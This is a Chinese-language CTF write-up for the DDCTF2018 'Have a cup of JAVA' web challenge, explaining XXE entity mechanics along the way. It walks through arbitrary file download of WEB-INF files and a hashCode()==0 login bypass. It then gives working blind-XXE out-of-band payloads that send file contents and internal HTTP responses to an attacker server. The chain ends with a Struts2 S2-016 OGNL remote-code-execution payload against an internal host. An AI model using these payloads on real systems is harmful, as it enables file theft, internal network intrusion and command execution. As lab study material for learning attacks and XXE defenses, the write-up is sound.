DDCTF2018-喝杯JAVA冷静下

题目链接:http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/

登录与任意文件下载

首页有提示信息:Quick4j By Eliteams,可以在github找到源码:

https://github.com/Eliteams/quick4j

遇到登录框,不要上来就尝试注入什么的,先看看弱口令,或者题目有没有给用户账号等信息,本题在题目登录页面的源码中发现一串base64

YWRtaW46IGFkbWluX3Bhc3N3b3JkXzIzMzNfY2FpY2Fpa2Fu

解码为一个用户名密码:

admin: admin_password_2333_caicaikan

登录上去发现可下载informations/readme.txt这个文件,文件内容是Readme~~,没啥用,下载链接如下:

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=informations/readme.txt

直接尝试访问根目录下相应文件,访问成功

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/informations/readme.txt

猜测可以下载任意文件,尝试下载WEB-INF/web.xml成功

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/getInfomation?filename=WEB-INF/web.xml

通过这个任意文件下载,加上github中的源码,下载能找到以下的XML以及class文件:

WEB-INF_classes_com_eliteams_quick4j_web_controller_CommonController.class
WEB-INF_classes_com_eliteams_quick4j_web_controller_FormController.class
WEB-INF_classes_com_eliteams_quick4j_web_controller_PageController.class
WEB-INF_classes_com_eliteams_quick4j_web_controller_UserController.class
WEB-INF_classes_com_eliteams_quick4j_web_dao_PermissionMapper.class
WEB-INF_classes_com_eliteams_quick4j_web_dao_PermissionMapper.xml
WEB-INF_classes_com_eliteams_quick4j_web_dao_RoleMapper.class
WEB-INF_classes_com_eliteams_quick4j_web_dao_RoleMapper.xml
WEB-INF_classes_com_eliteams_quick4j_web_dao_UserMapper.class
WEB-INF_classes_com_eliteams_quick4j_web_dao_UserMapper.xml
WEB-INF_classes_com_eliteams_quick4j_web_model_Permission.class
WEB-INF_classes_com_eliteams_quick4j_web_model_PermissionExample.class
WEB-INF_classes_com_eliteams_quick4j_web_model_Role.class
WEB-INF_classes_com_eliteams_quick4j_web_model_RoleExample.class
WEB-INF_classes_com_eliteams_quick4j_web_model_User.class
WEB-INF_classes_com_eliteams_quick4j_web_model_UserExample.class
WEB-INF_classes_com_eliteams_quick4j_web_security_OperationType.class
WEB-INF_classes_com_eliteams_quick4j_web_security_PermissionSign.class
WEB-INF_classes_com_eliteams_quick4j_web_security_Resource.class
WEB-INF_classes_com_eliteams_quick4j_web_security_RoleSign.class
WEB-INF_classes_com_eliteams_quick4j_web_security_SecurityRealm.class
WEB-INF_classes_com_eliteams_quick4j_web_service_PermissionService.class
WEB-INF_classes_com_eliteams_quick4j_web_service_RoleService.class
WEB-INF_classes_com_eliteams_quick4j_web_service_UserService.class
WEB-INF_web.xml

代码审计

通过JD-GUI反编译class加上对比github上的源码,发现UserController.class与SecurityRealm.class应该与题目有关

UserController.class

package com.eliteams.quick4j.web.controller;

import com.eliteams.quick4j.web.model.User;
import com.eliteams.quick4j.web.service.UserService;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import javax.annotation.Resource;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.validation.Valid;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.io.FileUtils;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;

@Controller
@RequestMapping({"/user"})
public class UserController
{
  public static final String hintFile = "/flag/hint.txt";
  @Resource
  private UserService userService;
  
  @RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
  public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request)
  {
    try
    {
      Subject subject = SecurityUtils.getSubject();
      if (subject.isAuthenticated()) {
        return "redirect:/";
      }
      if (result.hasErrors())
      {
        model.addAttribute("error", "参数错误!");
        return "login";
      }
      if ((user.getUsername().isEmpty()) || (user.getUsername() == null) || 
        (user.getPassword().isEmpty()) || (user.getPassword() == null)) {
        return "login";
      }
      subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword()));
      
      User authUserInfo = this.userService.selectByUsername(user.getUsername());
      request.getSession().setAttribute("userInfo", authUserInfo);
    }
    catch (AuthenticationException e)
    {
      model.addAttribute("error", "用户名或密码错误!");
      return "login";
    }
    return "redirect:/";
  }
  
  @RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
  public String logout(HttpSession session)
  {
    session.removeAttribute("userInfo");
    
    Subject subject = SecurityUtils.getSubject();
    subject.logout();
    return "login";
  }
  
  @RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresRoles({"admin"})
  public String admin()
  {
    return "拥有admin角色,能访问";
  }
  
  @RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresPermissions({"user:create"})
  public String create()
  {
    return "拥有user:create权限,能访问";
  }
  
  @RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresRoles({"guest"})
  public ResponseEntity<byte[]> download(HttpServletRequest request, String filename)
    throws IOException
  {
    if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) {
      return null;
    }
    String path = request.getServletContext().getRealPath("/");
    System.out.println(path);
    
    File file = new File(path + File.separator + filename);
    HttpHeaders headers = new HttpHeaders();
    
    String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1");
    
    headers.setContentDispositionFormData("attachment", downloadFielName);
    
    headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);
    return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED);
  }
  
  @RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresRoles({"super_admin"})
  public String xmlView(String xmlData)
  {
    if (xmlData.length() >= 1000) {
      return "Too long~~";
    }
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    
    factory.setExpandEntityReferences(true);
    try
    {
      DocumentBuilder builder = factory.newDocumentBuilder();
      
      InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());
      
      Document localDocument = builder.parse(xmlInputStream);
    }
    catch (ParserConfigurationException e)
    {
      e.printStackTrace();
      return "ParserConfigurationException";
    }
    catch (SAXException e)
    {
      e.printStackTrace();
      return "SAXException";
    }
    catch (IOException e)
    {
      e.printStackTrace();
      return "IOException";
    }
    return "ok~ try to read /flag/hint.txt";
  }
}

接受url

  • /rest/user/login
  • /rest/user/logout
  • /rest/user/admin
  • /rest/user/create
  • /rest/user/getInfomation
  • /rest/user/nicaicaikan_url_23333_secret

login与logout都是正常功能,admin与create就是检测了个权限,打印了个字符串。getImformation实现了这里之前的文件下载,这里看起来是过滤了一些父目录的字符串。nicaicaikan_url_23333_secret里的xmlView方法就有意思了,也是本题的重点。另外给了flag的提示:/flag/hint.txt,也就是要读到网站服务器跟目录下的flag文件夹中的hint.txt,而且看起来这也只是个hint。

xmlView()

 @RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
  @ResponseBody
  @RequiresRoles({"super_admin"})
  public String xmlView(String xmlData)
  {
    if (xmlData.length() >= 1000) {
      return "Too long~~";
    }
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setExpandEntityReferences(true);
    try
    {
      DocumentBuilder builder = factory.newDocumentBuilder();
      
      InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());
      
      Document localDocument = builder.parse(xmlInputStream);
    }

【springmvc】@RequestParam详解以及加与不加的区别

  • 这里没有配置@RequestParam,所以接受的参数名默认为函数的参数名:xmlData
  • 首先检查了数据大小,然后设置了可以接受外部实体并去解析提交的xml数据
  • 没有输出,存在一个blind XXE的漏洞
  • 但是想要触发这个XXE漏洞需要@RequiresRoles({"super_admin"}),也就是超级管理员的权限
  • 我们用题目给的admin账号并没有权限调用这个方法

SecurityRealm.class

  protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token)
    throws AuthenticationException
  {
    String username = String.valueOf(token.getPrincipal());
    String password = new String((char[])token.getCredentials());
    
    User authentication = this.userService.authentication(new User(username, password));
    if ((username.equals("superadmin_hahaha_2333")) && (password.hashCode() == 0))
    {
      String wonderful = "you are wonderful,boy~";
      System.err.println(wonderful);
    }
    else if (authentication == null)
    {
      throw new AuthenticationException("用户名或密码错误!");
    }
    SimpleAuthenticationInfo authenticationInfo = new SimpleAuthenticationInfo(username, password, getName());
    return authenticationInfo;
  }
}

superadmin

发现这里的用户名为superadmin_hahaha_2333很有可能就是之前的XXE漏洞需要的超级管理员权限。但是存在一个密码的验证:

password.hashCode() == 0

hashCode()

浅谈Java中的hashcode方法

这里hashCode()是在Java的Object类中有一个方法,返回对象的hash值,这里算法是java自己完成的一个hash计算方法。所以要找到是一个字符串算完的hashCode是0,通过google搜索:hashcode zero,找到一个stackoverflow上的问题:Can a non-empty string have a hashcode of zero?

这里有答案给出:f5a5a608。尝试用账户:superadmin_hahaha_2333密码:f5a5a608成功登录

XXE

登录以后我们就可以访问nicaicaikan_url_23333_secret并且提交xmlData去触发XXE漏洞了,因为我是第一次接触XXE漏洞,这里详细记录一下今天的学习过程,了解XXE的这一节可以跳过。

概述:XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。主要是因为Web应用实现的XML解析器允许解析外部实体,并且这些外部实体的内容可以是由一些协议比如file,http等获取的。如果限制不严格,则可能获得服务器中的一些文件,或者内网信息。

XML与DTD

编辑工具

由于我的MAC的硬盘排线坏了,最近写笔记用的windows,有一个很久以前的微软的xml编辑器:XML Notepad,直接可以解析XML并输出,测试外部实体也支持file与http协议,可以作为理解XXE的好工具。直接用XML Notepad打开一个编辑好的XML文件就可以看到效果,给出一个示例:这里我在我的C盘下新建了一个flag.txt

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "file:///c:/flag.txt">
<!ENTITY flag2 SYSTEM "file:///c:/flag.txt">
]>
<root>flag1=&flag1;<br/>flag2=&flag2;</root>

基本概要

XML 教程

DTD 教程

实体

定义实体是为了引用的!而一般实体(通用实体)与参数实体引用的方式是不同的!

.xml外部实体引用

DTD的结构组成-实体声明

DTD参数实体与一般实体的区别

内部实体与外部实体

内部实体与外部实体的区别在于SYSTEM标记,有SYSTEM标记的为外部实体,否则为内部实体

<!ENTITY flag1 "file:///home/flag.txt">
<!ENTITY flag2 SYSTEM "file:///home/flag.txt">

这里声明了两个实体:flag1为内部实体,flag2为外部实体,我们可以在xml的标签中通过&flag1&flag2的方式引用这两个实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "file:///home/flag.txt">
<!ENTITY flag2 SYSTEM "file:///home/flag.txt">
]>
<root>flag1=&flag1;flag2=&flag2;</root>

可见flag1的值就是字符串”file:///home/flag.txt”,而flag2的值是文件系统中/home/flag.txt的内容。所以是外部实体被解析,通过一些协议去拿到数据,这里就是XXE的关键!

通用实体与参数实体

参数实体必须定义在单独的DTD文档中或XML文档的DTD区(但是引用只能在DTD文档中,即外部子集,而不能在XML文档的DTD区),前者为该XML文档的外部子集,后者为该XML文档的内部子集

在之前我们声明的所有实体都是通用实体,我们可以在整个文档中,包括DTD部分使用通用实体的引用,如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "flag.txt">
<!ENTITY flag2 "&flag1;">
]>
<r>flag1=&flag1;<br/>flag2=&flag2;</r>

可以成功输出两个相同的字符串,说明在DTD部分使用通用实体有效。

如果我们在声明实体的名称前空格加一个百分号,就声明了一个参数实体:

<!ENTITY % flag1 "flag.txt">

参数实体的引用方式为:%flag1;,并且参数实体只能在DTD部分中引用,我们首先尝试:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 "flag.txt">
]>
<r>flag1=%flag1;</r>

发现直接输出了%flag1;这个字符串,说明参数实体并不能在xml的标签中被引用,我们继续尝试:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 "flag.txt">
<!ENTITY flag2 "%flag1;">
]>
<r>flag2=&flag2;</r>

报错提示:内部标记中不允许使用参数实体引用,这里解决方式是将实体定义放到另一个文件,然后引用整个dtd,原因是:参数实体必须定义在单独的DTD文档中或XML文档的DTD区(但是引用只能在DTD文档中,即外部子集,而不能在XML文档的DTD区)

flag.dtd

<!ENTITY % flag1 "flag.txt">
<!ENTITY flag2 "%flag1;">

flag.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag SYSTEM "flag.dtd">
<r>flag2=&flag2;</r>

成功引用,这里首先说明外实体如果不指明协议,默认file协议去读取本目录的文件,但这里换成通用实体一样可以实现:

flag.dtd

<!ENTITY flag1 "flag.txt">
<!ENTITY flag2 "&flag1;">

flag.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag SYSTEM "flag.dtd">
<r>flag2=&flag2;</r>
参数实体高级技巧

为什么会存在参数实体这个东西?如果它本身完全可以由通用实体简便的替代,那参数实体就不应该出现啊!网上的一些说法:

  1. 它使我们能够简便地引用或修改DTD中常用的结构,我们只需维护一处代码。
  2. 参数实体的作用是作为DTD中的元素的条件控制

事实上是参数实体的一些使用方法不能用通用实体替代,如下:

外部引用实体定义

之前报了一个错:内部标记中不允许使用参数实体引用,但其实可以利用如下方式使用参数实体的引用而不引发报错,通过这种参数实体的使用方式可以方便的通过外部实体进行DTD定义的修改:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 "<!ENTITY flag2 'flag.txt'>">
%flag1;
]>
<r>&flag2;</r>
  1. 声明了一个参数实体flag1,内容是另一个实体的定义
  2. 在实体定义的平级,引用了flag1,相当于定义了flag1的内容
  3. 即定义了flag2实体

这里如果我们把flag1这个参数实体改为一个外部参数实体:

flag.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 SYSTEM "flag.dtd">
%flag1;
]>
<r>&flag2;</r>

flag.dtd

<!ENTITY flag2 "flag.txt">

效果同上,也就是说我们只需要修改flag.dtd就可以完成DTD的定义了。但这里如果我们把flag1换成通用实体,则不成功,如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "<!ENTITY flag2 'flag.txt'>">
&flag1;
]>
<r>&flag2;</r>

报错提示:未找到所需的DTD标记,说明只有参数实体可以作为声明DTD的标记,而通用实体的确可以存在于DTD中,只不过是在DTD的内容中出现,而不是DTD的标记本身。

带出数据

如果我们在外部实体的内容中使用,使用实体的引用是没有效果的:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY flag1 "file:///home/flag.txt">
<!ENTITY flag2 SYSTEM "&flag1;">
]>
<root>flag1=&flag1;flag2=&flag2;</root>

报错提示:未能找到文件&flag1;,这里说明通用实体flag1并没有在外部实体的内容中被解析,如果把flag1换成参数实体呢?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % flag1 "file:///home/flag.txt">
<!ENTITY flag2 SYSTEM "%flag1;">
]>
<root>flag2=&flag2;</root>

一样提示报错:未能找到文件%flag1;。说明参数实体一样没有在外部实体的内容中被解析,但如果我们修改成如下的形式

flag.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag SYSTEM "flag.dtd">
<root>flag=&flag3;</root>

flag.dtd

<!ENTITY % flag1 "file:///c:/flag.txt">
<!ENTITY % flag2 "<!ENTITY flag3 SYSTEM '%flag1;'>">
%flag2;

则可以成功将flag.txt的内容带出来,说明flag1的参数传递是有效的。如果将flag1换成通用实体,则继续报错。可见在DTD部分中参数实体更实用一些。这里可以成功的原因应该是:

  • 声明了一个flag1的内部参数实体,内容是一个file协议的字符串
  • 声明了一个flag2的内部参数实体,内容是一个实体的定义,其中有参数实体flag1的引用
  • 在DTD中引用了flag2实体,声明了flag3这个外部实体
  • 在声明flag3时,内容已经被flag1的引用替换成file字符串
  • 所以flag3内容就是flag.txt文件中的内容

这里如果我们把flag1改为外部实体,flag3声明的外部实体是我们服务器的url,并且拼接上flag1的引用,则可以把文件的内容带出到url中最终发送到我们的服务器上,这种攻击方式叫OOB(外带数据):

local.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % remote SYSTEM "http://YourServer/remote.xml">
%remote;]>
<root/>

remote.xml

<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % init "<!ENTITY &#37; send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;
实体总结
  • 内部实体:实体内容就是定义的字符串本身
  • 外部实体:实体的内容是通过协议字符串获得的内容
  • 通用实体:也叫一般实体,定义主要是为了在文档正文中引用
  • 参数实体:主要是为了在DTD部分引用,为了避免混淆,尽量在DTD中少用通用实体

清楚的利用这些实体才能深刻的理解XXE的攻击原理:

  • 外部实体主要用于获取数据
  • 通用实体用于在XXE中回显数据
  • 参数实体与外部实体结合将获得数据发送出去
  • 内部实体可能作为中间的过程步骤存在,如上声明了一个中间的实体定义,目的是为了解析参数实体

参考:

XML解析器

外部实体一般支持http,file等协议,不同的解析器实现的协议不同,具体内容如下所示:

image

只要实现了XML的解析功能,并且没有限制外部实体就有可能存在XXE漏洞,其中包括了:

  • 网站的后端
  • 一些应用程序(如XML Notepad)
  • 甚至是浏览器

其中PHP和JAVA常用实现XML解析的方法如下:

php

php解析xml是利用的libxml模块,libxml2.9.1及以后,默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。可以通过libxml_disable_entity_loader(ture);这条语句来进制外部实体的加载。

SimpleXML
<?php
$a=<<<EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo>
EOF;
$data= simplexml_load_string($a);
print_r($data);
?>

通过这种方式加载外部实体需要libxml版本小于2.9.1,大于这个版本即使libxml_disable_entity_loader(false);设置为关闭也无法加载。防御方法,使用高版本的libxml,禁用外部实体:

libxml_disable_entity_loader(true);
DOM
<?php
libxml_disable_entity_loader(false);
$xmlfile = <<<EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<root>&xxe;</root>
EOF;

$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
$creds = simplexml_import_dom($dom);
print_r($creds);
?>

通过这种方式任意版本libxml均可加载外部实体,防御方法:禁用外部实体

libxml_disable_entity_loader(true);

java

Java的XXE漏洞浅析

文章中指出了Java常用的XML解析的库,如果不禁用外部实体都可能会产生XXE漏洞,本题是采用了javax.xml.parsers,部分代码如下:

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;


DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setExpandEntityReferences(true);

	try{
      
      DocumentBuilder builder = factory.newDocumentBuilder();
      
      InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());
      
      Document localDocument = builder.parse(xmlInputStream);
	}

防御:只要把允许外部实体设置为false即可

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(false);

XXE攻击方法

DTD/XXE 攻击笔记分享

XXE笔记参考

XXE学习之路-STEP BY STEP

XXE注入攻击与防御

未知攻焉知防——XXE漏洞攻防

XXE漏洞笔记

XML外部实体注入

XXE漏洞攻防之我见

XML External Entity attack/XXE攻击

本题解法

首先尝试一个回显的XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

url编码之后拼接到url中的xmlData参数中:

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20file%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3E%5d%3E%0a%3Croot%3E%26file%3b%3C%2froot%3E

根据分析的代码以及实际情况都是返回的:

ok~ try to read /flag/hint.txt

说明xml解析成功,并且没有hint.txt的数据。

OOB

没有可以直接回传的通道不意味着就不存在 XXE 攻击

因为是blindXXE,所以需要读出的数据放到参数实体中,然后将参数实体拼接到另一个获得外部引用实体的url中,即可把数据带出。这种外带数据的方式称之为OOB(Out of Band)。通过以下这种方式构造两个xml,即可每次攻击不改变提交的xml(local.xml),仅仅更改服务器上的remote.xml就好了。

local.xml

提交给nicaicaikan_url_23333_secret的xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % remote SYSTEM "http://YourServer/remote.xml">
%remote;]>
<root/>
  • 第一行是xml的声明
  • 第二行声明一个了文档类型
  • 第三行声明了一个名为remote的外部参数实体,内容是远程的remote.xml中的内容
  • 第四行在DTD内部引用这个remote的参数实体,也就是说明了remote.xml里也要是合法的DTD
  • 第五行要写一个合法的闭合的标签

remote.xml

远程服务器的remote.xml

<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % init "<!ENTITY &#37; send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;
  • 第一行声明了一个名为file的外部参数实体,内容是hint.txt
  • 第二行声明了一个名为init的参数实体,内容是一个实体定义
  • init内容的实体中,声明了一个名为send外部参数实体,内容是通过访问一个URL获得的内容
  • 第三行引用init这个参数实体,真正的声明了其中的send这个参数实体,URL通过引用file这个参数实体得到真正的拼接值
  • 第四行引用send这个参数实体,去访问了拼接出的url,成功的将hint.txt的数据带出
  • 访问的url是nc开的端口或者是xss平台,并不会返回正确的DTD或者超时,所以这里最终xml解析失败
  • 整个过程发生在解析xml中,数据已然带出。

利用流程

  1. 首先自己的服务器上写好可以访问的remote.xml
  2. nc -l 1234在服务上随便开个端口,等待接受数据,用xss平台也可以
  3. 通过GET方法的xmlData参数把第一个xml(url编码)发送给nicaicaikan_url_23333_secret
  4. 服务器上接受数据即可

攻击流程

hint.txt

loacl.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE flag[
<!ENTITY % remote SYSTEM "http://YourServer/remote.xml">
%remote;]>
<root/>

remote.xml

<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % init "<!ENTITY &#37; send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;

nc

nc -l 1234

url

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3a%2f%2f103%2e42%2e28%2e252%2fremote%2exml%22%3E%0a%25remote%3b%5d%3E%0a%3Croot%2f%3Ey

RequestHead

GET /Flag%20in%20intranet%20tomcat_2%20server%208080%20port. HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_151
Host: 103.42.28.252:1234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

hint.txt

Flag in intranet tomcat_2 server 8080 port

tomcat_2

应该是一个内网的服务器可以去扫描内网,具体怎么用一个XXE去扫描内网我还没研究,这里猜出内网地址http://tomcat_2:8080

于是这里并不是读文件了,而是去用XXE去访问内网的一个URL:

file://flag/hint.txt –> http://tomcat_2:8080

和之前的方式大同小异,只更改remote.xml内容如下:

<!ENTITY % file SYSTEM "http://tomcat_2:8080">
<!ENTITY % init "<!ENTITY &#37; send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;

收到请求头:

GET /try%20to%20visit%20hello.action. HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_151
Host: 103.42.28.252:1234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

这里提示去访问hello.action

hello.action

继续更改remote.xml

<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action">
<!ENTITY % init "<!ENTITY &#37; send SYSTEM 'http://YourServer:1234/%file;'>">
%init;
%send;

继续收到请求头:

GET /This%20is%20Struts2%20Demo%20APP,%20try%20to%20read%20/flag/flag.txt. HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_151
Host: 103.42.28.252:1234
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

这里提示这是一个Struts2的应用,请尝试去读到这台tomcat服务器的/flag/flag.txt文件,于应该是需要找到Struts2的漏洞

Struts2

这个JavaWeb的框架被称为漏洞之王,官方发的漏洞公告曾经还贴过漏洞证明,直接演示攻击方法,因此饱受诟病

官方漏洞公告

https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

相关报道

Struts2再爆远程代码执行漏洞S2-016

2013 年 7 月的 Struts2 漏洞实际带来多大影响?

一份数据告诉你,被万年漏洞王 Struts2 坑了的网站有哪些

漏洞利用

浅谈struts2历史上的高危漏洞

Struts2漏洞利用工具下载 已更新V1.8版

本题解法s2-016

本题我们采取s2-016的payload网上找到

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect%3a%24%7b%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]%20%7b%27netstat%27,%27-an%27%7d%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29%7d

url解码,格式化一下payload

redirect:${
#a=(new java.lang.ProcessBuilder(new java.lang.String[] {'netstat','-an'})).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader (#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#matt= #context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println (#e),
#matt.getWriter().flush(),
#matt.getWriter().close()
}

大概的意思是用redirect:${}包裹java代码,变量前标识符用井号,语句分割用逗号,改成读文件的payload

redirect:${
#f=new java.io.File('/flag/flag.txt'),
#fs=new java.io.FileInputStream(#f),
#ISR=new java.io.InputStreamReader(#fs,'GBK'),
#br=new java.io.BufferedReader(#ISR),
#lText = #br.readLine(),
#ISR.close(),
#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#matt.getWriter().println(#lText),
#matt.getWriter().flush(),
#matt.getWriter().close()
}

去除换行符,URL编码后添加到服务器的remote.xml

<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect%3A%24%7B%23f%3Dnew%20java.io.File%28%27%2fflag%2fflag.txt%27%29%2C%23fs%3Dnew%20java.io.FileInputStream%28%23f%29%2C%23ISR%3Dnew%20java.io.InputStreamReader%28%23fs%2C%27GBK%27%29%2C%23br%3Dnew%20java.io.BufferedReader%28%23ISR%29%2C%23lText%20%3D%20%23br.readLine%28%29%2C%23ISR.close%28%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23lText%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://103.42.28.252:1234/%file;'>">
%int;
%send;

提交URL:

http://116.85.48.104:5036/gd5Jq3XoKvGKqu5tIH2p/rest/user/nicaicaikan_url_23333_secret?xmlData=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22UTF-8%22%3f%3E%0a%3C%21DOCTYPE%20flag%5b%0a%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3a%2f%2f103%2e42%2e28%2e252%2fremote%2exml%22%3E%0a%25remote%3b%5d%3E%0a%3Croot%2f%3Ey

服务器上成功打到flag

GET /DDCTF{You_Got_it_WonDe2fUl_Man_ha2333_CQjXiolS2jqUbYIbtrOb} HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_151
Host: 103.42.28.252:2345
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

参考wp

DDCTF 2018 Web Writeup【Wfox】

